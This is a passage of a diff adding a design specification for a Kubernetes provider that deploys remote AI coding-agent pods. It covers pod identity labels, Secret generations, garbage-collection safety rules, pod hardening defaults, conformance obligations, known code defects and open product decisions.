+  - label `app.kubernetes.io/managed-by: buzz-backend-kubernetes` and label
+    `buzz.block.xyz/binding-version: <schema-version>` — the **management
+    marker** (§Deploy State Machine auto-repair fence): present on every
+    pod and Secret this provider creates, and **required before any
+    destructive repair or GC action**. Identity labels/annotations prove
+    identity; the marker asserts protocol ownership — without it, an object
+    that merely matches our schema fails closed to the operator
+  - annotation `buzz.block.xyz/agent-pubkey-full: <full-64-hex>` —
+    **load-bearing**: per §Deploy State Machine step 1, every label-selected
+    object's annotation MUST equal the derived pubkey before the provider
+    no-ops against it, deletes it, mutates its Secret, or returns its name
+  - annotation `buzz.block.xyz/create-intent: <sha256-of-intent-template>` — the
+    recorded create intent (§Deploy State Machine, create-intent
+    fingerprint), written at pod create; the divergence discriminator for
+    never-started pods
+  - Secret name: `buzz-agent-<first-12-hex>-<gen>`, where `<gen>` is a random
+    per-create-attempt **generation token** — unique, never reused, carrying
+    the same labels (identity + management marker) and annotation. The
+    pod's `envFrom` references this exact
+    Secret name. Deterministic pod name + unique Secret name is what makes
+    payload and Secret atomic at the pod-spec boundary (§K8s Secrets)
+- **Deletion semantics the reconciler must respect.** A Kubernetes `DELETE`
+  returns success immediately while the object still exists; the name stays
+  taken until the kubelet finishes the grace period. Two consequences:
+  (a) a pod being gracefully deleted has `deletionTimestamp` set but remains
+  in phase `Running` — the reconciler MUST check the deletion mark before
+  phase (there is no `Terminating` phase to match on); (b) after deleting a
+  live pod, a naive immediate create gets AlreadyExists for up to the full
+  grace period — the reconciler MUST poll for actual disappearance (GET →
+  404) before creating. The delete call MUST use the object's own grace
+  period (kube-rs: `DeleteParams { grace_period_seconds: None, .. }`); the
+  tempting shortcut of passing `0` to skip the poll is a **force-kill** that
+  discards the 60s shutdown grace pinned below — the poll is mandatory
+  precisely because the fast path is wrong. For *terminal*
+  (Succeeded/Failed) pods — and for **unscheduled** pods (no assigned node:
+  unschedulable or quota-blocked `Pending`, a state users hit while setting
+  up a namespace) — the apiserver
+  zeroes the grace period and deletes immediately, so the normal restart
+  path needs no meaningful wait — do not add a fixed sleep, and do not use
+  zero-grace cleanup as a reason to skip the poll in the live-pod arm.
+- **`terminationGracePeriodSeconds: 60` — a declared budget the harness
+  MUST honor, not a sum the spec derived.** Kubernetes' default 30s grace
+  would SIGKILL the harness mid-drain, leaving presence stale-online — the
+  avoidable half of I3's staleness window — so the binding declares 60s.
+  But the shutdown tail is *variable*, not constant (§Stop: the post-drain
+  reap segment alone reaches ~87s at default parallelism at `28ae6cd21`,
+  and earlier untimed segments precede it — the total is not bounded by
+  today's segment timeouts), so no fixed grace can be proven
+  sufficient by adding segment timeouts. The two halves of the requirement:
+  the binding *declares* the budget here, and the harness *enforces* it —
+  one shared deadline across the entire post-signal path, with a reserved
+  finalization slice (≥ the finalizers' declared bounds, currently 7s) for
+  presence `offline` and relay close, child cleanup
+  degrading first (§Stop, Known Defect 7). Until the harness enforcement
+  lands, 60s is an operational margin that the tail can exceed.
+- **Hardening defaults (normative).** The workload is a prompted coding
+  agent running repository and tool code while holding an nsec; the pod MUST
+  NOT hand it ambient cluster credentials or kernel privilege on top:
+  `automountServiceAccountToken: false` (Kubernetes mounts a ServiceAccount
+  token unless told otherwise — an API-stealable credential the agent never
+  needs), `runAsNonRoot: true` with a fixed nonzero UID/GID,
+  `allowPrivilegeEscalation: false`, capabilities drop-all,
+  `seccompProfile.type: RuntimeDefault`; never privileged, `hostPID`,
+  `hostNetwork`, or `hostPath`. `readOnlyRootFilesystem` is *not* required
+  in v1 — the sprig toolchain writes outside the workspace mount — but is a
+  named candidate once the image's write surface is mapped. The
+  `service_account` config field selects an identity for scheduling/RBAC
+  purposes only; it MUST NOT silently re-enable token mounting — API-token
+  access, if ever wanted, is a separate explicit opt-in, not a side effect
+  of naming an SA.
+- **Resources**: requests 1 cpu / 2Gi, limits 2 cpu / 4Gi, all four
+  configurable (`cargo build` in an agent workspace makes 500m/1Gi requests
+  unrealistic).
+- **Workspace**: `emptyDir`. Checkouts and scratch die with the pod; agent
+  memory is relay-persisted (NIP-AE) and unaffected. PVC support is a
+  deferred knob. [DECISION A — how remote pods get the nest workspace
+  (AGENTS.md etc.) that local agents get from the desktop's `ensure_nest`;
+  current recommendation is a desktop-stated protocol field, not
+  image-side scaffolding — §Open Decisions.]
+
+### Secrets {#k8s-secrets}
+
+Per-agent `Secret` containing the identity variables (built from top-level
+payload fields per the reserved-key rule) plus `env_vars`; consumed via
+`envFrom`.
+
+**Secret creation is per-attempt, immutable, and uniquely named**
+(`buzz-agent-<first-12-hex>-<gen>`, §Pod shape). The rationale is a
+concurrency race a deterministic shared Secret name cannot survive: two
+concurrent deploys carrying *different* payloads would both write the shared
+Secret, the loser's write could land last, and the winner's pod —
+deterministic name, winner's spec — would resolve the **loser's**
+identity/config through `envFrom`. The losing caller would have mutated the
+winning generation despite strict no-op. Unique names close this: each
+create attempt writes its own Secret first, then attempts the deterministic
+pod create with a spec referencing exactly that Secret. Pod creation elects
+the winner; payload and Secret are atomic at the pod-spec boundary, with no
+Lease or CAS machinery.
+
+Lifecycle rules that follow:
+
+- **Winner**: pod + its referenced Secret live together; GC deletes them
+  together.
+- **Losing contender** (create-conflict): annotation-verify the winning pod,
+  return its `agent_id` per the convergence rule, and delete **only its own
+  now-unreferenced Secret** — never the winner's, never any Secret
+  referenced by an *existing* pod. "Existing" deliberately includes
+  not-yet-started pods: an `envFrom` reference from a pod still pulling its
+  image is exactly as load-bearing as one from a running pod.
+- **Live no-op arm**: no Secret is written at all (zero mutation).
+- **GC**: also deletes annotation-verified **orphan Secrets** — those whose
+  generation token no existing pod references — covering contenders that
+  crashed between Secret create and their conflict cleanup. But only when
+  **age-eligible**: see the normative age gate in §K8s GC — "unreferenced"
+  is not "orphaned" while a concurrent attempt may still be between its
+  Secret create and its pod create.
+
+Fresh configuration therefore materializes exactly when a fresh generation
+does. Residual exposure, stated: any principal with
+pod-exec or secret-read in the namespace can read the nsec. This is the
+substrate-security boundary from §Non-Goals — the namespace is the isolation
+unit, and users deploying to shared namespaces accept its ambient RBAC. The
+in-pod narrowing that sprig's dev-MCP shim performs (strips the key from its
+own env, re-materializes as a 0600 keyfile for the git helpers) limits
+accidental leakage into subprocess environments, not hostile cluster access.
+
+### Garbage collection {#k8s-gc}
+
+A **generation** is one pod-create attempt and the uniquely-named Secret it
+references; the Secret's generation token is the generation's identity, and
+the *current* generation is the one referenced by the existing pod's
+`envFrom`.
+
+GC is a **preflight reconciliation pass**, not a post-deploy afterthought:
+on every deploy, after identity derivation and before the state transition,
+the provider deletes terminated pods (and their referenced Secrets) that
+match the pubkey label, **pass the full-pubkey annotation check, and carry
+the management marker** (§Pod shape; the auto-repair fence applies to GC
+identically), plus
+annotation-verified, marker-bearing orphan Secrets whose generation token
+no existing pod
+references (§K8s Secrets). It never touches the current generation.
+Mismatched annotations are never GC'd (§Deploy State Machine step 1), and
+an unmarked object is never GC'd regardless of its labels.
+
+**Orphan-Secret age gate (normative).** An unreferenced Secret is
+GC-eligible only when its server-assigned `creationTimestamp` is older than
+**twice the deploy operation deadline** (2 × 600s). Rationale — without the
+gate, GC composes with per-attempt Secrets into a legal interleaving that
+strands a deploy: attempt A creates Secret A; concurrent attempt B runs its
+preflight GC *before A creates its pod*, sees Secret A unreferenced, and
+deletes it as an "orphan"; A's pod is then accepted referencing a missing
+Secret and sits in `CreateContainerConfigError` until a later deploy
+repairs it by delete-recreate (§Deploy State Machine never-started rows) —
+a stranded deploy either way. Unique Secret
+names made payload↔Secret atomic *at the pod-spec boundary*, but
+Secret-create→pod-create is not atomic against an independent GC pass —
+the standard controller lesson that observations may be stale and
+reconciliation must tolerate in-flight peers. The age bound makes
+"unreferenced" mean "provably abandoned": any attempt that could still
+reference the Secret has exceeded its own deadline. A losing contender's
+immediate cleanup of **its own** Secret is exempt — ownership, not age, is
+its safety argument. (A Lease per agent identity would also close this
+race; the age gate achieves the same with no extra machinery.)
+
+**Same-clock rule (normative).** The age comparison has two operands and
+both MUST come from the apiserver's clock. `creationTimestamp` is
+server-assigned; the comparison instant MUST be derived from the HTTP
+`Date` response header on the very list/get call the GC pass performs
+(RFC 9110 §6.6.1 — origin-server message-origination time), never from the
+provider's local `now()`. The provider runs on a user's desktop, and a
+local clock fast by more than the margin doesn't *race* — it
+deterministically computes every in-flight Secret as expired and deletes
+them all, silently, on every pass, reopening exactly the interleaving the
+gate exists to close. With both operands from one clock, skew cancels.
+(`kube`'s `Client::send` returns the raw `http::Response` with headers, so
+this costs one header read, not a departure from the typed API.) If the
+`Date` header is absent or unparseable, the provider MUST **skip
+orphan-Secret GC for that pass** — never fall back to local time. A
+deferred cleanup is free; a wrong deletion is not.
+
+**Alternative considered — `ownerReferences`, omitted in v1.** Kubernetes'
+native GC (a Secret owned by its attempt's Pod is deleted when the owner is
+verified absent) cannot *replace* the age gate: an ownerReference needs the
+owner's UID, which exists only after pod create, so primary reliance on it
+would flip the ordering to Pod-first-then-Secret. The reason that flip
+loses is **diagnostics, not repairability**: a never-started winner is
+recoverable (the kubelet retries a config-failed container indefinitely,
+and the amended no-op rule lets a later deploy delete-and-recreate it with
+its own payload), but Pod-first routes *every healthy deploy* through
+`CreateContainerConfigError` — the exact condition the startup classifier
+treats as an actionable failure signal — so the classifier could no longer
+believe that reason without waiting out the deadline, on every deploy.
+That trades away normative diagnostics for a cleanup the age gate already
+provides. A *supplementary* post-create attachment (patch the Secret with
+the winning pod's UID; Secret metadata stays patchable when `immutable` and
+`data` are untouched) is sound but adds no required property: the pre-pod
+crash window still needs the age-gated sweep as backstop, so v1 omits it
+under the complexity budget. Any future implementation that adds it MUST
+set `blockOwnerDeletion: false` explicitly (true requires `update` on
+`pods/finalizers` — an RBAC verb nothing else here needs — and a Secret
+should never delay its pod's deletion), MUST keep owner and dependent in
+the same namespace (a cross-namespace owner is treated as *absent*, turning
+the safety net into an immediate-delete instruction), and MUST treat
+attachment failure as non-fatal cleanup, never a deploy error.
+
+Running GC first
+gives concurrency and Secret ownership one unambiguous order: reconcile
+always observes a world with at most one candidate generation *older than
+the gate*. Completed
+pods from the *current* generation are left in place — their logs are the
+only forensics M1 permits. That forensic window is deliberately fragile:
+next-deploy GC, node loss, or namespace deletion erases it, and M1 means
+there is no log operation to reach for. **Cluster-native log shipping is
+therefore a production prerequisite, not an optional nicety** — the
+ephemeral-runner lesson: disposable generations still need durable
+diagnostics, forwarded off the pod by the cluster operator's stack. The
+binding's contribution is correlation, not transport: the pod carries the
+full-pubkey annotation, the generation token (doubling as
+`BUZZ_MANAGED_AGENT_START_NONCE`, so lifecycle frames and pod logs share a
+correlator), the provider version, and the resolved image reference
+(§Image) — enough to attribute any shipped log line to an exact identity,
+generation, and binary, with no secret in any of it. GC on next-deploy
+also self-heals the missing
+`undeploy`: delete-then-recreate converges, and a deleted-forever agent's
+residue is one Completed pod that never restarts (I5) plus one Secret,
+removable with `kubectl delete`.
+
+### `provider_config` v1 fields
+
+`context`, `namespace`, `image`, `cpu_request`, `memory_request`,
+`cpu_limit`, `memory_limit`, `inactivity_seconds`, `service_account` —
+9 of the 20-field validation cap. Node selectors, tolerations, and PVCs are
+deliberately baked out of v1 to preserve budget.
+
+### Distribution
+
+Its own release workflow (macOS arm64/x64 + Linux musl; the sprig workflow's
+ubuntu × musl matrix cannot produce the laptop-side binary), artifacts
+attached to releases, installed to `~/.local/bin` (already on the discovery
+path). v1 ships no Windows binary [DECISION B]; desktop bundling into the
+.app (discovery already prepends the bundle dir) is deferred [DECISION D].
+
+## Conformance
+
+Obligations are split by layer per §Launchers: the **[L1] agent/harness
+contract** binds every launcher; the **[L2] provider/deployer contract**
+binds provider-managed launches; the **[L3] binding policy** here is the
+Kubernetes binding's own. A non-provider launcher (bash script, systemd
+unit) owes only the L1 items; a provider on a different substrate owes
+L1 + L2 and writes its own L3 realization of the generic L3 property.
+
+### [L1] Launcher conformance — every launcher
+
+A launcher — desktop, provider-deployed pod, systemd unit, bash script —
+is conforming iff:
+
+1. It launches the harness with a **valid, nonempty identity**: a
+   parseable private key, a relay URL, and an auth tag or resolved owner
+   pubkey — refusing to launch rather than launching identityless (I1's
+   property, enforced wherever the env is assembled).
+2. It does not suppress the harness's promises on a remote agent:
+   presence stays enabled (`BUZZ_ACP_NO_PRESENCE` never set — remotely,
+   presence is the only signal, I3), and the inactivity knob
+   (`BUZZ_ACP_EXIT_AFTER_INACTIVITY`) carries the owner's *deliberate*
+   lifetime policy, never an accidental passthrough of user env (I5; the
+   reserved-key rule is the provider path's realization of this).
+3. The substrate's **termination signal reaches the harness process**,
+   with enough grace for its full graceful shutdown before force-kill (I3
+   staleness minimization). "Allows" is not enough — a wrapper that
+   swallows the signal conforms to nothing.
+4. Intentional termination (owner `!shutdown`, inactivity reap) exits
+   through the harness's graceful path under the **pinned clean-exit
+   contract** (intentional exit ⇒ exit code 0 — Known Defect 6 until the
+   contract lands).
+5. Any supervisor the launcher configures **never restarts an intentional
+   clean exit** (I5). `Restart=always` and equivalents are non-conforming
+   at this layer no matter what the substrate calls them.
+
+### [L2] Provider conformance — provider-managed launches
+
+A provider is conforming iff, in addition to deploying only L1-conforming
+invocations:
+
+1. `info` and `deploy` implement the wire contract (§Provider
+   Protocol), including one-JSON-in/one-JSON-out and in-band
+   `{"ok": false}` errors. **Exit codes carry exactly one bit** — zero =
+   the operation's output is trustworthy, nonzero = failure regardless of
+   stdout (§Invocation's rule restated from the provider's side): a
+   provider MUST exit nonzero on any crash path and MUST NOT encode
+   structured meaning in nonzero values, because `D` discards partial
+   output rather than interpreting codes.
+2. It never requests or accepts credentials through
+   `provider_config` (I2).
+3. It builds agent identity env from top-level payload fields, never
+   from `env_vars` (reserved-key rule), applies §Launch data mechanically —
+   three-tier precedence, host-resolved re-derivation, no re-merge of
+   legacy `env_vars`, no provider-side model/provider mapping — and refuses
+   a deploy that resolves neither `auth_tag` nor `launch.owner_pubkey`, or
+   whose provider is `relay-mesh`.
+4. `deploy` implements the reconciliation loop (I4), stated
+   substrate-neutrally: identity derived from the nsec before any
+   mutation; candidates verified by **full-identity evidence** before any
+   action; live (= **started**: the harness process confirmed running, not
+   merely the body accepted) → strict no-op (zero mutation); never-started
+   states classified by evidence, not by substrate status strings
+   (provably-broken → fenced replace; recoverable + same recorded create
+   intent → observe, never delete, on this call or any later one;
+   recoverable + divergent intent → fenced replace); every read that can
+   authorize a destruction uses most-recent semantics; every destructive
+   write is **fenced to the exact observation that authorized it**
+   (compare-and-delete — the write fails if the object changed since the
+   read) and touches only objects carrying the provider's **management
+   marker** (the auto-repair fence, §Deploy State Machine);
+   same-status-code conflicts discriminated by a **machine-readable
+   conflict discriminator**, never the status code alone; success only on
+   confirmed harness start; conflicts converge by re-entry;
+   delete-of-absent is success.
+5. It emits no secret material in any output (belt to `D`'s
+   redaction suspenders).
+6. **Generic L3 obligation:** its binding *documents* how it realizes each
+   L2 term on its substrate, and how the owner's lifetime policy (bounded
+   vs indefinite) and clean-exit restart behavior are realized there —
+   stating the properties in its own vocabulary, not skipping them.
+
+### [L3] Kubernetes binding conformance — this binding
+
+The realization the two lists above require, in this binding's vocabulary:
+
+1. Each L2 item-4 term maps to the mechanism in §Deploy State Machine:
+   full-pubkey annotation for identity evidence, container `state.running`
+   for "started", `resourceVersion`-unset quorum reads for most-recent
+   semantics, UID+`resourceVersion` delete preconditions for fencing,
+   `Status.reason` as the 409 discriminator, and the
+   `app.kubernetes.io/managed-by` + binding-version labels as the
+   management marker.
+2. The deployed invocation realizes the lifetime policy the owner chose
+   (I5) through this binding's `inactivity_seconds` field: `> 0` →
+   a working inactivity bound and `restartPolicy: Never`; `0` (the
+   blessed indefinite opt-in) → no bound and `restartPolicy: OnFailure`,
+   **only after both prerequisites land** — the pinned exit-code contract
+   (I5 ordering rule) *and* the crash-loop classification row (§Pod
+   shape); until then the provider MUST refuse the combination.
+3. The harness is the deployed container's **signal-receiving process**
+   (PID 1 or the target of the pod's termination signal — §K8s
+   Entrypoint's `exec` rule), and `terminationGracePeriodSeconds` carries
+   the declared grace budget (§Pod shape).
+
+Conformance is testable without mechanization: a fake-provider harness can
+exercise L2 items 1–3 and 5 over the wire contract — including the pre-secret
+negotiation gate (§Discovery): an incompatible **or absent**
+`protocol_version` MUST be rejected before any request carrying
+`private_key_nsec` is sent; a **same-inode content rewrite** of the
+resolved binary after resolution MUST NOT reach the deploy invocation
+(the staged artifact still carries the bytes that answered `info`); and a
+**pathname swap after validation** — the resolved path re-pointed at a
+different file between the gate's checks and process spawn — likewise
+MUST NOT redirect the nsec (both cases are exactly what path+metadata
+comparison misses) — and an envtest/kind suite
+can drive L2 item 4's reconciler against a real apiserver — concurrent
+deploys, a deletion-marked pod, terminal restart, an annotation-mismatch
+collision, and SIGTERM→presence-offline for the L3 items. Three families of
+cases are mandatory because they were the review-found failure modes:
+**startup discrimination** (slow-but-valid scheduling → poll-then-succeed;
+`Unschedulable` during scale-from-zero → observed until the autoscaler
+provisions capacity, then success — never delete, **including when
+provisioning completes only after the 600s deadline**: the original pod
+identity and `creationTimestamp` survive the expired call and become the
+no-op winner on a later deploy, the case that pins the anti-livelock rule;
+a label-and-annotation-matching object **without the management marker** →
+never deleted, never GC'd, reported (the auto-repair fence under test);
+referenced Secret *confirmed absent* → preconditioned delete-recreate or
+actionable error, never silent success or no-op; a **never-started winner
+is repairable** — pod exists, Secret absent, container never started: a
+later deploy MUST delete-and-recreate rather than no-op, the test that pins
+started-not-phase as the no-op criterion; and the **classification→DELETE
+race** — the container transitions to running between the classifying read
+and the delete: the UID+resourceVersion precondition MUST fail and the
+live agent MUST be preserved) and the **GC/attempt interleaving** (attempt B's
+preflight GC running between attempt A's Secret create and pod create MUST
+NOT delete Secret A — the §K8s GC age gate under test; provider death after
+Secret create → the age gate protects, then a later GC reaps; and a
+**provider local clock fast beyond the margin** MUST NOT delete an
+in-flight Secret — cheap with a fake clock, and the same-clock rule's
+skip-on-absent-`Date` arm is exercised by stripping the header). A third
+family pins the **divergence discriminator and the 409 split**: a failed
+delete precondition (code 409, reason `Conflict`) → re-read and
+re-classify, never the create-conflict cleanup/adoption path; a create
+conflict (code 409, reason `AlreadyExists`) → loser-Secret cleanup and
+winner adoption, never treated as a failed delete; identical desired
+intent + permanently-Pending pod → no delete across arbitrarily many
+Starts, regardless of age; a resource/image correction against a
+never-started pod → fingerprint differs, preconditioned
+delete-and-recreate (the wedge-escape case); same user config but the
+provider's **baked default image digest** changed (provider upgrade)
+against a never-started pod → divergence, replace (the second intent
+source — the only escape from a bad-default-image wedge); the same correction against
+a **started** pod → strict zero-mutation no-op; admission
+defaulting/mutating the live pod → no false divergence (the comparison
+uses the recorded annotation); the fingerprint serializer property,
+asserted structurally — changing only Secret *values* or the generated
+Secret *name* leaves the fingerprint unchanged, changing any
+fingerprinted pod-create field changes it (equivalently: the serializer
+has no access to Secret data or attempt identity); and the
+conflict-path asymmetry — two no-instance contenders with different
+payloads: the create loser adopts the elected winner rather than
+deleting it for divergence, while a subsequent deploy observing that
+never-started divergent winner replaces it. A model checker is
+the wrong tool here: the failure modes found in review were wrong
+*abstractions of Kubernetes* (a nonexistent `Terminating` phase, non-atomic
+delete, phase-as-readiness, non-atomic Secret→pod against GC), which a
+hand-written model would have reproduced convincingly.
+
+## Known Defects (at `28ae6cd21`)
+
+**Citation pin:** every `file:line` reference in this document was verified
+against `28ae6cd21` — the commit at which this spec merged to `main`.
+References are to that tree; a later commit may offset them.
+
+Desktop- and harness-side, discovered during this design:
+
+1. **Windows discovery id pollution**: the `.exe` suffix survives into the
+   provider id, which then fails id validation at deploy — dropdown-visible,
+   probe-fine, deploy-broken. Fix is a suffix strip in discovery. (v1
+   provider scope is macOS+Linux regardless — [DECISION B].)
+2. **Provider env inheritance**: `invoke_provider` passes the desktop's
+   environment through unmodified; combined with launchd's minimal PATH this
+   breaks kubeconfig exec plugins. Mitigated provider-side (§K8s Auth);
+   a desktop-side PATH augmentation would fix the class.
+3. **Deploy payload bypasses the launch resolver** (the prerequisite this
+   spec names for §Launch data — a desktop code change, not spec text).
+   At `28ae6cd21`, `deploy_payload_json` serializes raw record bytes and a
+   three-layer `merged_user_env` where the local spawn uses
+   `resolve_effective_harness_descriptor`'s six-layer resolution. Concrete
+   consequences, each verified in review: (a) no per-runtime model/provider
+   env — a remote goose agent silently ignores the user's model choice, and
+   `provider_locked` runtimes would receive vars the desktop deliberately
+   withholds; (b) persona-derived `agent_command` and definition-provided
+   `agent_args` serialize as blank/empty — a different command line than the
+   identical local agent; (c) no `owner_pubkey` — a null-`auth_tag` agent
+   cannot match `!shutdown` (it *answers* it), stranding §Stop; (d) spawn
+   policy (`BUZZ_ACP_RELAY_OBSERVER`, runtime `default_env` such as
+   `GOOSE_MODE=auto`, team instructions, session title, lazy-pool selection)
+   is absent — remote pods run different observer/approval semantics
+   (`BUZZ_ACP_DEDUP`/`BUZZ_ACP_MULTIPLE_EVENT_HANDLING` are *not* on this
+   list: the local writes match the harness defaults, §Launch data); (e) a
+   mesh-provider agent deploys pointed at a loopback URL that cannot exist
+   in the pod instead of being refused. Until `deploy_payload_json` emits
+   the `launch` block, no provider can conform to §Launch data, and the
+   current payload MUST be treated as insufficient for a
+   semantics-preserving remote launch. **Security follow-through:** once
+   secrets can arrive via `launch.env`, desktop redaction MUST collect
+   candidate values from `launch.env` (and `launch.policy_env`) as well as
+   legacy `agent.env_vars` — at `28ae6cd21`, `env_secrets_from_request`
+   reads only `agent.env_vars` (`backend.rs`), leaving a
+   definition/persona-layer secret outside the literal-value scrub.
+   Conformance: a provider that echoes a launch-only secret into an error
+   must come back redacted.
+4. **The I5 reaper does not exist, and its natural home is a trap**
+   (harness code prerequisite). `BUZZ_ACP_EXIT_AFTER_INACTIVITY` appears
+   nowhere in the harness at `28ae6cd21`; §Auto-Stop is a design, not a
+   description. Worse, the obvious attachment point — the existing 30s
+   maintenance tick — is gated on `pool_ready` (`lib.rs:1743`), which under
+   `lazy_pool` only becomes true when work arrives, so a never-mentioned
+   lazy pod would never evaluate the bound: I5 dead in its most important
+   case (§Auto-Stop mechanism rule). The implementation MUST run the expiry
+   check on a pool-independent timer and MUST add the env var to
+   `RESERVED_ENV_KEYS` in the same change.
+5. **The deploy path never checks `protocol_version`** (desktop code
+   prerequisite). `provider_deploy` (`backend.rs`) sends the nsec-bearing
+   `deploy` request without any preceding `info` on the same resolved
+   executable; §Discovery's pre-secret negotiation gate is a design, not a
+   description, until the deploy command performs
+   resolve-once → stage-and-digest → `info` → explicit-version check →
+   `deploy`, both invocations running the staged bytes.
+6. **The clean-exit contract is emergent, not defended** (harness code
+   prerequisite; gates `OnFailure`). At `28ae6cd21`: the graceful path
+   returns `Ok(())` (`lib.rs:2723`), and owner `!shutdown` (`:2045`),
+   Ctrl-C (`:1635`), and
+   SIGTERM (`:1644`) all route into the same shutdown channel — so clean
+   stops exit 0 *today*, but no distinguished exit code exists and no test
+   pins "intentional exit ⇒ 0"; every `process::exit(1)` in the crate is a
+   startup failure. Until a
+   pinned, tested exit-code contract lands, no supervisor restart policy
+   (`restartPolicy: OnFailure`, systemd `Restart=on-failure`) may be
+   deployed against the harness: a refactor returning `Err` from a drain
+   timeout would silently convert every clean stop into a restart loop —
+   I5 defeated with no failing test (I5 ordering rule).
+7. **The shutdown tail overruns the declared grace budget at default
+   config** (harness code prerequisite). At `28ae6cd21`: the post-drain
+   reap segment
+   (`lib.rs:2664-2688`) runs *after* the 30s drain timeout closes
+   (`:2636,:2657`) and serially awaits a 5s post-SIGKILL wait per occupied
+   slot (`acp.rs:436`) — that segment alone reaches ~87s at the desktop's
+   default parallelism of 10 (`types.rs:814`; #3038 lowered it from 24),
+   ~197s at the harness cap of 32 (`config.rs:293`), against the binding's
+   60s grace; and it is not the whole tail — the wake-task drain
+   (`:2612`) and awakened-pool shutdown (`:2620-2624`, per-slot loop
+   `:3747-3751`, no timeout) precede it (§Stop), so the total is
+   unbounded by today's segment timeouts. The fix is one shared deadline
+   across the entire post-signal
+   path with a reserved finalization slice (≥ the finalizers' declared
+   bounds, currently 2s presence + 5s relay close = 7s) for presence
+   `offline` and
+   relay close, child cleanup degrading first (§Stop); natural home is the
+   same harness change as the I5 reaper (defect 4).
+8. **Cleared numeric config fields ship as strings** (desktop code
+   prerequisite, raised by blessing `0`). `coerceConfigValues`
+   (`desktop/src/features/agents/ui/ProviderConfigFields.tsx:6` at
+   `28ae6cd21`) skips numeric coercion when the value is `""`, so a
+   *cleared* numeric field reaches the provider as a JSON string instead
+   of a number. Blessing `inactivity_seconds: 0` makes clearing that
+   field a legitimate user action, so the empty-string arm now sits on a
+   documented path: the provider receives `""` where the schema says
+   integer, and "0 MUST NOT be rejected" cannot protect a value that
+   never parses as 0. Fix is desktop-side (map cleared numeric →
+   omit-or-default, never `""`); provider-side, a non-numeric value for a
+   numeric field is an in-band error, not a silent default.
+
+## Implementation Correspondence
+
+| spec concept | code |
+|---|---|
+| Discovery, resolution rule | `desktop/src-tauri/src/managed_agents/backend.rs` (`discover_provider_candidates`, `resolve_provider_binary`) |
+| Invocation, output caps, exit rule | `backend.rs` (`invoke_provider`) |
+| Pre-secret negotiation gate | *to be added*: `backend.rs` deploy path — resolve-once → stage-and-digest → `info` → explicit-version check → `deploy` on the staged bytes (Known Defect 5) |
+| Redaction | `backend.rs` (`redact_secrets_with`) |
+| I2 validation | `backend.rs` (`validate_provider_config`) |
+| I1 refusal, payload | `desktop/src-tauri/src/commands/agents_deploy.rs` |
+| Launch resolver (shared with local spawn) | `desktop/src-tauri/src/managed_agents/readiness.rs` (`resolve_effective_harness_descriptor`); `launch` block emission *to be added* to `agents_deploy.rs` (Known Defect 3) |
+| Mesh rewrite (why relay-mesh is non-deployable) | `desktop/src-tauri/src/managed_agents/relay_mesh.rs`; create-time rejection in `commands/agents.rs` (`normalize_relay_mesh`) |
+| Reserved-key strip | `desktop/src-tauri/src/managed_agents/env_vars.rs` (`RESERVED_ENV_KEYS`) |
+| Unconditional deploy on Start | `desktop/src-tauri/src/commands/agents.rs` (`start_managed_agent`) |
+| Presence publish / offline-on-exit | `crates/buzz-acp/src/lib.rs` (`publish_presence`, shutdown path) |
+| `!shutdown` owner check | `crates/buzz-acp/src/lib.rs` (main loop) |
+| Graceful shutdown path (budget enforcement *to be added* — Known Defect 7) | `crates/buzz-acp/src/lib.rs` (pool shutdown, then drain / reap / presence / relay close) |
+| Clean-exit exit-code contract | *to be added*: `crates/buzz-acp` distinguished exit codes + pinning test (Known Defect 6; gates `OnFailure`) |
+| Auto-stop flag | *to be added*: `crates/buzz-acp/src/config.rs` + a pool-independent timer (NOT the `pool_ready`-gated maintenance tick — Known Defect 4) + `RESERVED_ENV_KEYS` entry |
+| Kubernetes binding | *to be added*: `crates/buzz-backend-kubernetes` |
+| Sprig image | *to be added*: `Dockerfile.sprig` + workflow |
+
+## Open Decisions
+
+Marked `[DECISION]` inline; consolidated:
+
+- **A. Nest scaffolding** — should the image entrypoint scaffold the agent
+  workspace (AGENTS.md, RESEARCH/, …) that the desktop's `ensure_nest`
+  provides locally? Recommendation (revised): **workspace becomes a
+  protocol field the desktop states**, not an image-baked behavior — the
+  desktop resolves the nest content it would have written locally and
+  carries it in the launch data, so every substrate materializes the same
+  workspace from the same source of truth and the image stays
+  scaffold-free. An image-side template crate was the earlier
+  recommendation; it loses because it forks the nest definition into a
+  second implementation that drifts from `ensure_nest`.
+- **B. Windows scope** — fix the `.exe` discovery bug in the desktop now;
+  ship Windows provider binaries only on demand. Recommended as stated.
+- **C. Config budget** — the 9-field v1 set above. Recommended as stated.
+- **D. Desktop bundling** — `~/.local/bin` install only for v1. Recommended
+  as stated.
+- **E. Running-pod semantics** — no-op (recommended, both reviewers) vs
+  forcible recycle on Start. Ruled: **per-binding policy**, with one
+  universal property every binding must preserve — no sequence of Starts
+  yields two live instances in one scope (I4). The Kubernetes binding
+  keeps strict no-op in v1; a recycle affordance, if a binding adds one,
+  is stop-then-start, never delete-under-a-live-agent.
+- **F. Mesh deployability** — the spec refuses relay-mesh agents
+  pre-mutation in v1 (§Launch data: the transport is desktop loopback;
+  serializing it fails identically but invisibly). Reviewer consensus is
+  refusal; ratification requested because it makes a visible product cut
+  (shared-compute agents are local-only until an in-image mesh client
+  exists).
+- **G. Remote override semantics** — the spec keeps local semantics: user
+  env continues to beat Buzz behavior defaults remotely (three-tier
+  precedence, §Launch data), because the alternative is a quiet behavior
+  fork between local and remote spawns of the same record. Flagged because
+  it is a policy statement about what power users may do to remote pods.
+- **H. Startup budget** — with deploy success now requiring container start
+  (§Deploy State Machine), the 600s operation deadline is the de facto
+  cold-pull / scale-from-zero budget. The spec fixes the semantics
+  narrowly: the deadline bounds how long one Start waits synchronously —
+  never when anything is destroyed (recoverable startup is observational
+  across calls, so a cluster whose autoscaler `new-pod-scale-up-delay`
+  exceeds 600s degrades to "Start reports unconfirmed, a later Start
+  adopts the now-running pod", not a livelock). The remaining SLO ruling
+  is UX-only: is ten minutes of synchronous waiting the right ceiling for
+  the intended cluster class?
+- **I. Never-started escape hatch** — the create-intent fingerprint
+  (§Deploy State Machine) lets a config *change* replace a never-started
+  pod, closing the config wedge. Ruled on the vision-consistency half:
+  Start-time auto-repair of never-started bodies is legitimate, **fenced
+  to Buzz-authored, positively identified residue** (§Deploy State Machine
+  auto-repair rule) — the vision's "never-started body is operator
+  residue" line gains that qualifier rather than being waived. The
+  remaining product question: does v1 owe users an explicit in-product
+  "clear this stuck deployment" affordance for a never-started pod whose
+  config they have *not* changed (a genuinely slow or broken cluster)?
+  Both reviewers agree on the mechanism; this is the remaining product
+  question layered on top of it.
+
+## Summary
+
+Remote agents extend Buzz's managed-agent model across a deliberately thin
